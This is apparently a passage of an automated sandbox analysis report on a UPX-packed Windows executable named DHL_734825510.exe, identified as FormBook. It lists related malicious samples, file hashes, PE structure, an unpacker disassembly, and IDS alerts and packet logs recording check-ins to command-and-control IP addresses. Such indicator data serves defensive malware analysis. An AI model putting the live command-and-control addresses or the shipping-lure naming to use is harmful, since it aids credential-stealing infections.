	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	209.74.79.42
	SW_5724.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	209.74.79.42
	quotation.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
UNIFIEDLAYER-AS-1US	Shipping Documents 72908672134.exe	Get hash	malicious	AgentTesla	Browse	192.254.186.165
	#U25b6#Ufe0fPlayVoiceMessage9266.eml	Get hash	malicious	Unknown	Browse	192.185.77.66
	main_spc.elf	Get hash	malicious	Mirai	Browse	173.254.73.204
	https://track-004.blogspot.com	Get hash	malicious	Unknown	Browse	50.87.184.136
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse	192.254.190.193
	aU1TV97585.exe	Get hash	malicious	AgentTesla	Browse	162.241.62.63
	0wxckB4Iba.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.144.157
	8JuGuaUaZP.exe	Get hash	malicious	AgentTesla	Browse	50.87.218.140
	#U25b6#Ufe0fPlayVoiceMessage9312.eml	Get hash	malicious	Unknown	Browse	192.185.77.66
	tmp667.HtML.html	Get hash	malicious	Unknown	Browse	50.116.87.59
COGENT-174US	ALFq7XP17d.lnk	Get hash	malicious	Unknown	Browse	170.75.168.151
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	38.238.232.202
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	38.220.172.124
	i586.elf	Get hash	malicious	Unknown	Browse	38.59.39.1
	i686.elf	Get hash	malicious	Unknown	Browse	167.141.201.7
	main_spc.elf	Get hash	malicious	Mirai	Browse	38.1.199.97
	na.elf	Get hash	malicious	Unknown	Browse	38.92.8.103
	pn866G3CCj.lnk	Get hash	malicious	Unknown	Browse	170.75.168.151
	QUOTATON-37839993.exe	Get hash	malicious	FormBook	Browse	206.238.89.119
	vZAhXkWkDT.lnk	Get hash	malicious	Unknown	Browse	170.75.168.151
AMAZON-02US	https://app.droplet.io/form/K47rYN	Get hash	malicious	Unknown	Browse	3.21.252.22
	Platinum Hall County, Georgia Proposal (16.6 KB).docx	Get hash	malicious	KnowBe4	Browse	108.139.79.89
	mipsel.elf	Get hash	malicious	Gafgyt	Browse	54.171.230.55
	i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	54.217.10.153
	https://www.schneiderpostaccident.com	Get hash	malicious	Unknown	Browse	52.66.117.206
	i686.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	.akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	3.187.21.27
	arm5.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	roze.ppc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.249.145.219
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	35.166.239.241

Process:	C:\Windows\SysWOW64\regini.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1220068301579391
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8JoudpfjOLl:aq+n0E9ELyKOMq+8qu3SJ
MD5:	87EE0BBB38B11E14090EF60A7D56C8B1
SHA1:	37966F94007814B687989937B4A299FA816581ED
SHA-256:	22CD1C8F26B721A19A1E9108D16AB419ABAD17D34ACDA62CAE3004014D88437E
SHA-512:	37572D4B5A336BC8220B9CF64F8F2D6041C68A449C582221C5C62A3BA1D8D4CA5C241C9383038EBF3D2787CF4AB9F7370E1A3C4AC7D6EC0A942FC41CD7917266
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cocles

Download File

Process:	C:\Users\user\Desktop\DHL_734825510.exe
File Type:	data
Category:	dropped
Size (bytes):	289280
Entropy (8bit):	7.991894448424248
Encrypted:	true
SSDEEP:	6144:8+2YOa0VFsJf/TJVUb3WGu2kUTVrpyDnu:P2u00V/TJO3WGdPTVrCu
MD5:	180B2D2C57AD92BC6AC58242CC078E4C
SHA1:	5C7252D2702CC78C3DD750BEFB258DA2768FA09A
SHA-256:	09B54E20D985136638D79737FD41E2543607B44409857798A3E4FD5372766B33
SHA-512:	86C9EC1A1C22FC3FD64B4F9AA266CF4AB276B42CF05C7188D4908426F6496469A7BADA9D7BA61776E2082DDEFFDF1F9F49673D7B77C06155C6A2FFE5AA39FA88
Malicious:	false
Reputation:	low
Preview:	...B5WOG0QYA..6W.G4QYAQBvWOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4Q.AQB8H.I4.P.p.7..f`902q2D8(5U<y"0,X8;gV4y3$,.>!gp..a<-R2aJ9[}AQB6WOGMPP.l"Q.r'S.d!6.,...1>.K.s'S.C....7(.f8:)l"Q.OG4QYAQBf.OGxPXA.&i5OG4QYAQB.WMF?PRAQ.2WOG4QYAQB.COG4AYAQ22WOGtQYQQB6UOG2QYAQB6WIG4QYAQB6'KG4SYAQB6WMGt.YAAB6GOG4QIAQR6WOG4QIAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYA.6S/;G4Qm.UB6GOG4.]AQR6WOG4QYAQB6WOG.QY!QB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4Q

C:\Users\user\AppData\Local\Temp\aut5BF.tmp

Download File

Process:	C:\Users\user\Desktop\DHL_734825510.exe
File Type:	data
Category:	dropped
Size (bytes):	289280
Entropy (8bit):	7.991894448424248
Encrypted:	true
SSDEEP:	6144:8+2YOa0VFsJf/TJVUb3WGu2kUTVrpyDnu:P2u00V/TJO3WGdPTVrCu
MD5:	180B2D2C57AD92BC6AC58242CC078E4C
SHA1:	5C7252D2702CC78C3DD750BEFB258DA2768FA09A
SHA-256:	09B54E20D985136638D79737FD41E2543607B44409857798A3E4FD5372766B33
SHA-512:	86C9EC1A1C22FC3FD64B4F9AA266CF4AB276B42CF05C7188D4908426F6496469A7BADA9D7BA61776E2082DDEFFDF1F9F49673D7B77C06155C6A2FFE5AA39FA88
Malicious:	false
Reputation:	low
Preview:	...B5WOG0QYA..6W.G4QYAQBvWOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4Q.AQB8H.I4.P.p.7..f`902q2D8(5U<y"0,X8;gV4y3$,.>!gp..a<-R2aJ9[}AQB6WOGMPP.l"Q.r'S.d!6.,...1>.K.s'S.C....7(.f8:)l"Q.OG4QYAQBf.OGxPXA.&i5OG4QYAQB.WMF?PRAQ.2WOG4QYAQB.COG4AYAQ22WOGtQYQQB6UOG2QYAQB6WIG4QYAQB6'KG4SYAQB6WMGt.YAAB6GOG4QIAQR6WOG4QIAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYA.6S/;G4Qm.UB6GOG4.]AQR6WOG4QYAQB6WOG.QY!QB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4QYAQB6WOG4Q

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.952667114471218
TrID:	Win32 Executable (generic) a (10002005/4) 99.39% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	DHL_734825510.exe
File size:	743'936 bytes
MD5:	3aae187307a535df90ed8f9faa0341d2
SHA1:	c3288325246f98f3e388795f7d34d4ce4a8adb08
SHA256:	00c2d72b6a63a14fbe34e3fb19fad396213bb9be21ff695df527a676b866c8b2
SHA512:	985ecdf46ebc1b0dde826041bcb0d766f56ccb883c9ea17e44c9eee365789a1756cb04332474cba8893d833544296cd3ea79796c407f9bd94cf5ad89f52b7447
SSDEEP:	12288:9quErHF6xC9D6DmR1J98w4oknqOOCyQfF5JZPuph9QMbbTDMFgS1zv4ptuF/YXSA:grl6kD68JmlotQfp9m9lbxa4yFwAq
TLSH:	EBF423898285D9B6C71463754429CDC48A74B4728ECD678F8328FA2FFC21353ED6BA5C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x537a10
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6752FFCA [Fri Dec 6 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fc6683d30d9f25244a50fd5357825e79

Entrypoint Preview

Instruction
pushad
mov esi, 004E2000h
lea edi, dword ptr [esi-000E1000h]
push edi
jmp 00007F73C50BD01Dh
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F73C50BD019h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F73C50BCFFFh
mov eax, 00000001h
add ebx, ebx
jne 00007F73C50BD019h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F73C50BD01Dh
jne 00007F73C50BD03Ah
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F73C50BD031h
dec eax
add ebx, ebx
jne 00007F73C50BD019h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007F73C50BCFE6h
add ebx, ebx
jne 00007F73C50BD019h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007F73C50BD064h
xor ecx, ecx
sub eax, 03h
jc 00007F73C50BD023h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F73C50BD087h
sar eax, 1
mov ebp, eax
jmp 00007F73C50BD01Dh
add ebx, ebx
jne 00007F73C50BD019h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F73C50BCFDEh
inc ecx
add ebx, ebx
jne 00007F73C50BD019h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F73C50BCFD0h
add ebx, ebx
jne 00007F73C50BD019h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F73C50BD001h
jne 00007F73C50BD01Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F73C50BCFF6h
add ecx, 02h
cmp ebp, FFFFFB00h
adc ecx, 02h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F73C50BD020h
mov al, byte ptr [edx]

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x197374	0x424	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x138000	0x5f374	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x197798	0xc	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x137bf4	0x48	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0xe1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0xe2000	0x56000	0x55e00	1a845b7283cfbb844ef9e3f3dfb24b5e	False	0.98709288573508	data	7.935245773281257	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x138000	0x60000	0x5f800	b0c12ccabab10c1434dc9923e4be767f	False	0.9471378026832461	data	7.935757111911807	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1385ac	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0x1386d8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0x138804	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0x138930	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0x138c1c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0x138d48	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0x139bf4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0x13a4a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0x13aa0c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0x13cfb8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0x13e064	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	empty	English	Great Britain	0
RT_STRING	0xcd4f0	0x594	empty	English	Great Britain	0
RT_STRING	0xcda84	0x68a	empty	English	Great Britain	0
RT_STRING	0xce110	0x490	empty	English	Great Britain	0
RT_STRING	0xce5a0	0x5fc	empty	English	Great Britain	0
RT_STRING	0xceb9c	0x65c	empty	English	Great Britain	0
RT_STRING	0xcf1f8	0x466	empty	English	Great Britain	0
RT_STRING	0xcf660	0x158	empty	English	Great Britain	0
RT_RCDATA	0x13e4d0	0x58909	data			1.0003335529453277
RT_GROUP_ICON	0x196de0	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x196e5c	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x196e74	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x196e8c	0x14	data	English	Great Britain	1.25
RT_VERSION	0x196ea4	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x196f84	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
ADVAPI32.dll	GetAce
COMCTL32.dll	ImageList_Remove
COMDLG32.dll	GetOpenFileNameW
GDI32.dll	LineTo
IPHLPAPI.DLL	IcmpSendEcho
MPR.dll	WNetUseConnectionW
ole32.dll	CoGetObject
OLEAUT32.dll	VariantInit
PSAPI.DLL	GetProcessMemoryInfo
SHELL32.dll	DragFinish
USER32.dll	GetDC
USERENV.dll	LoadUserProfileW
UxTheme.dll	IsThemeActive
VERSION.dll	VerQueryValueW
WININET.dll	FtpOpenFileW
WINMM.dll	timeGetTime
WSOCK32.dll	connect

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T17:36:06.305032+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	49715	13.248.169.48	80	TCP
2024-12-06T17:36:06.305032+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	49715	13.248.169.48	80	TCP
2024-12-06T17:36:23.170513+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49717	13.248.169.48	80	TCP
2024-12-06T17:36:25.846030+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49718	13.248.169.48	80	TCP
2024-12-06T17:36:28.509256+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49719	13.248.169.48	80	TCP
2024-12-06T17:36:31.168424+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	49720	13.248.169.48	80	TCP
2024-12-06T17:36:31.168424+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	49720	13.248.169.48	80	TCP
2024-12-06T17:36:37.927439+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49721	84.32.84.32	80	TCP
2024-12-06T17:36:41.074454+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49722	84.32.84.32	80	TCP
2024-12-06T17:36:41.074454+0100	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.12	49722	84.32.84.32	80	TCP
2024-12-06T17:36:43.742873+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49723	84.32.84.32	80	TCP
2024-12-06T17:36:46.399948+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	49724	84.32.84.32	80	TCP
2024-12-06T17:36:46.399948+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	49724	84.32.84.32	80	TCP
2024-12-06T17:36:52.946445+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49725	84.32.84.32	80	TCP
2024-12-06T17:36:55.615860+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49726	84.32.84.32	80	TCP
2024-12-06T17:36:58.286505+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49728	84.32.84.32	80	TCP
2024-12-06T17:37:00.952886+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	49734	84.32.84.32	80	TCP
2024-12-06T17:37:00.952886+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	49734	84.32.84.32	80	TCP
2024-12-06T17:37:08.102346+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49750	209.74.77.107	80	TCP
2024-12-06T17:37:10.857515+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49756	209.74.77.107	80	TCP
2024-12-06T17:37:13.493688+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49767	209.74.77.107	80	TCP
2024-12-06T17:37:16.122569+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	49772	209.74.77.107	80	TCP
2024-12-06T17:37:16.122569+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	49772	209.74.77.107	80	TCP
2024-12-06T17:37:23.333261+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49789	38.47.207.164	80	TCP
2024-12-06T17:37:26.005118+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49794	38.47.207.164	80	TCP
2024-12-06T17:37:28.676989+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49800	38.47.207.164	80	TCP
2024-12-06T17:37:31.396749+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	49809	38.47.207.164	80	TCP
2024-12-06T17:37:31.396749+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	49809	38.47.207.164	80	TCP
2024-12-06T17:37:38.720332+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49827	208.115.225.220	80	TCP
2024-12-06T17:37:41.387774+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49833	208.115.225.220	80	TCP
2024-12-06T17:37:44.066273+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49843	208.115.225.220	80	TCP
2024-12-06T17:37:46.782408+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	49849	208.115.225.220	80	TCP
2024-12-06T17:37:46.782408+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	49849	208.115.225.220	80	TCP
2024-12-06T17:38:02.677034+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49886	172.67.162.39	80	TCP
2024-12-06T17:38:05.348890+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49892	172.67.162.39	80	TCP
2024-12-06T17:38:08.020986+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49898	172.67.162.39	80	TCP
2024-12-06T17:38:11.822163+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	49908	172.67.162.39	80	TCP
2024-12-06T17:38:11.822163+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	49908	172.67.162.39	80	TCP
2024-12-06T17:38:18.925603+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49929	199.59.243.227	80	TCP
2024-12-06T17:38:21.596177+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49935	199.59.243.227	80	TCP
2024-12-06T17:38:24.271865+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49941	199.59.243.227	80	TCP
2024-12-06T17:38:26.939013+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	49948	199.59.243.227	80	TCP
2024-12-06T17:38:26.939013+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	49948	199.59.243.227	80	TCP
2024-12-06T17:38:33.912697+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49964	199.59.243.227	80	TCP
2024-12-06T17:38:36.585064+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49973	199.59.243.227	80	TCP
2024-12-06T17:38:39.269011+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	49979	199.59.243.227	80	TCP
2024-12-06T17:38:41.949933+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	49985	199.59.243.227	80	TCP
2024-12-06T17:38:41.949933+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	49985	199.59.243.227	80	TCP
2024-12-06T17:38:48.529809+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	50001	104.21.90.137	80	TCP
2024-12-06T17:38:51.231199+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	50007	104.21.90.137	80	TCP
2024-12-06T17:38:53.956005+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	50016	104.21.90.137	80	TCP
2024-12-06T17:38:56.546963+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	50021	104.21.90.137	80	TCP
2024-12-06T17:38:56.546963+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	50021	104.21.90.137	80	TCP
2024-12-06T17:39:03.765359+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	50022	108.179.253.197	80	TCP
2024-12-06T17:39:06.469988+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	50023	108.179.253.197	80	TCP
2024-12-06T17:39:09.095603+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.12	50024	108.179.253.197	80	TCP
2024-12-06T17:39:11.802745+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.12	50025	108.179.253.197	80	TCP
2024-12-06T17:39:11.802745+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.12	50025	108.179.253.197	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 17:36:05.074382067 CET	49715	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:05.194303036 CET	80	49715	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:05.194386959 CET	49715	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:05.205074072 CET	49715	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:05.324923992 CET	80	49715	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:06.304842949 CET	80	49715	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:06.304984093 CET	80	49715	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:06.305032015 CET	49715	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:06.308254004 CET	49715	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:06.428906918 CET	80	49715	13.248.169.48	192.168.2.12
Dec 6, 2024 17:36:21.945812941 CET	49717	80	192.168.2.12	13.248.169.48
Dec 6, 2024 17:36:22.066250086 CET	80	49717	13.248.169.48	192.168.2.12
